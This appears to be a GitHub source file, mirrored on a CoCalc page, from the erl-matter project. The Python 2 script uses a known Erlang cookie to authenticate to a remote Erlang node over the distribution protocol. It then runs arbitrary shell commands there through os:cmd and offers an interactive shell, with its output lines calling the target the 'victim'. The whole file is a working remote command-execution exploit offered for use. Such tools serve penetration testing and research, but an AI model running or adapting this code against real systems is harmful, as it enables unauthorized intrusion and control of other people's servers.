Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
Path: blob/master/shell-erldp.py
271 views
1
#!/usr/bin/env python2
2
3
from struct import pack, unpack
4
from cStringIO import StringIO
5
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
6
from hashlib import md5
7
from binascii import hexlify, unhexlify
8
from random import choice
9
from string import ascii_uppercase
10
import sys
11
import argparse
12
import erlang as erl
13
14
def rand_id(n=6):
15
return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'
16
17
parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')
18
19
parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
20
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
21
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
22
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
23
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
24
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')
25
26
args = parser.parse_args()
27
28
name = rand_id()
29
30
sock = socket(AF_INET, SOCK_STREAM, 0)
31
assert(sock)
32
33
sock.connect((args.target, args.port))
34
35
def send_name(name):
36
FLAGS = (
37
0x7499c +
38
0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
39
)
40
return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name
41
42
sock.sendall(send_name(name))
43
44
data = sock.recv(5)
45
assert(data == '\x00\x03\x73\x6f\x6b')
46
47
data = sock.recv(4096)
48
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
49
assert(tag == 'N')
50
assert(nlen + 19 == length)
51
challenge = '%u' % challenge
52
53
def send_challenge_reply(cookie, challenge):
54
m = md5()
55
m.update(cookie)
56
m.update(challenge)
57
response = m.digest()
58
return pack('!HcI', len(response)+5, 'r', args.challenge) + response
59
60
sock.sendall(send_challenge_reply(args.cookie, challenge))
61
62
63
data = sock.recv(3)
64
if len(data) == 0:
65
print('wrong cookie, auth unsuccessful')
66
sys.exit(1)
67
else:
68
assert(data == '\x00\x11\x61')
69
digest = sock.recv(16)
70
assert(len(digest) == 16)
71
72
73
print('[*] authenticated onto victim')
74
75
76
77
# Once connected, protocol between us and victim is described
78
# at http://erlang.org/doc/apps/erts/erl_dist_protocol.html#protocol-between-connected-nodes
79
# it is roughly a variant of erlang binary term format
80
# the format also depends on the version of ERTS post (incl.) or pre 5.7.2
81
# the format used here is based on pre 5.7.2, the old one
82
83
def erl_dist_recv(f):
84
hdr = f.recv(4)
85
if len(hdr) != 4: return
86
(length,) = unpack('!I', hdr)
87
data = f.recv(length)
88
if len(data) != length: return
89
90
# remove 0x70 from head of stream
91
data = data[1:]
92
93
while data:
94
(parsed, term) = erl.binary_to_term(data)
95
if parsed <= 0:
96
print('failed to parse erlang term, may need to peek into it')
97
break
98
99
yield term
100
101
data = data[parsed:]
102
103
104
def encode_string(name, type=0x64):
105
return pack('!BH', type, len(name)) + name
106
107
def send_cmd_old(name, cmd):
108
data = (unhexlify('70836804610667') +
109
encode_string(name) +
110
unhexlify('0000000300000000006400006400037265') +
111
unhexlify('7883680267') +
112
encode_string(name) +
113
unhexlify('0000000300000000006805') +
114
encode_string('call') +
115
encode_string('os') +
116
encode_string('cmd') +
117
unhexlify('6c00000001') +
118
encode_string(cmd, 0x6b) +
119
unhexlify('6a') +
120
encode_string('user'))
121
122
return pack('!I', len(data)) + data
123
124
125
126
def send_cmd(name, cmd):
127
# REG_SEND control message
128
ctrl_msg = (6,
129
erl.OtpErlangPid(erl.OtpErlangAtom(name),'\x00\x00\x00\x03','\x00\x00\x00\x00','\x00'),
130
erl.OtpErlangAtom(''),
131
erl.OtpErlangAtom('rex'))
132
msg = (
133
erl.OtpErlangPid(erl.OtpErlangAtom(name),'\x00\x00\x00\x03','\x00\x00\x00\x00','\x00'),
134
(
135
erl.OtpErlangAtom('call'),
136
erl.OtpErlangAtom('os'),
137
erl.OtpErlangAtom('cmd'),
138
[cmd],
139
erl.OtpErlangAtom('user')
140
))
141
142
new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)
143
144
return pack('!I', len(new_data)) + new_data
145
146
def recv_reply(f):
147
terms = [t for t in erl_dist_recv(f)]
148
if args.verbose:
149
print('\nreceived %r' % (terms))
150
151
assert(len(terms) == 2)
152
answer = terms[1]
153
assert(len(answer) == 2)
154
return answer[1]
155
156
157
if not args.cmd:
158
while True:
159
try:
160
cmd = raw_input('%s:%d $ ' % (args.target, args.port))
161
except EOFError:
162
print('')
163
break
164
165
sock.sendall(send_cmd(name, cmd))
166
167
reply = recv_reply(sock)
168
sys.stdout.write(reply)
169
else:
170
sock.sendall(send_cmd(name, args.cmd))
171
172
reply = recv_reply(sock)
173
sys.stdout.write(reply)
174
175
176
print('[*] disconnecting from victim')
177
sock.close()
178
179